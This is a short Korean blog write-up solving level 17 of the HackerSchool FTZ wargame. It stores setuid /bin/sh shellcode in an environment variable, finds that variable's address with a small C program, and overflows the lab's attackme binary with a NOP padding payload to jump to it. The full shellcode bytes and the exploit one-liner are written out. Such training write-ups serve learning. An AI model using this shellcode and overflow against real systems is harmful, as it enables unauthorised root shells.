-
lvl 17Wargame/HackerSchool FTZ 2019. 2. 12. 09:14
→ 힌트 정보를 확인한다.
→ 16번 문제와 유사하지만, shell() 함수가 선언되지 않았다.
→ 매모리 맵 구조는 16번과 같으므로 바로 아래와 같이 그려진다.
→ shell() 함수가 존재하지 않으므로, 환경변수에 쉘코드를 넣은 후 실행하는 방식으로 해결한다.
→ 메모리 맵 구조에 의하면 NOP*40 + 환경변수 주소하면 페이로드 구성은 끝이다.
→ 먼저 환경변수에 쉘코드를 삽입한 후 주소를 구한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
→ 그리고, 해당 환경변수 SHELLCODE 의 주소를 구한다.
#include <stdio.h>
int main()
{
printf("addr: %p\n", getenv("SHELLCODE"));
return 0;
}
→ 환경변수 주소 값은 0xbffffc1d이다.
→ 공격을 시도한다.
(python -c 'print "\x90"*40+"\x1d\xfc\xff\xbf"';cat)|./attackme
댓글